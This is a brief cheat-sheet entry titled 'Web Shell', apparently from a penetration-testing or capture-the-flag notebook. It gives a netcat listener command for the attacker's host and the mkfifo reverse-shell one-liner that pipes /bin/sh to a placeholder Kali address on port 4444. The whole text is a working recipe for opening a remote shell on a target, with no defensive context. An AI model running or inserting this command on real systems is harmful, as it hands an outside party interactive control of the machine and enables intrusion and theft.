Web Shell

On your host, start a nc listening on 4444 port

nc -lvp 4444

On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f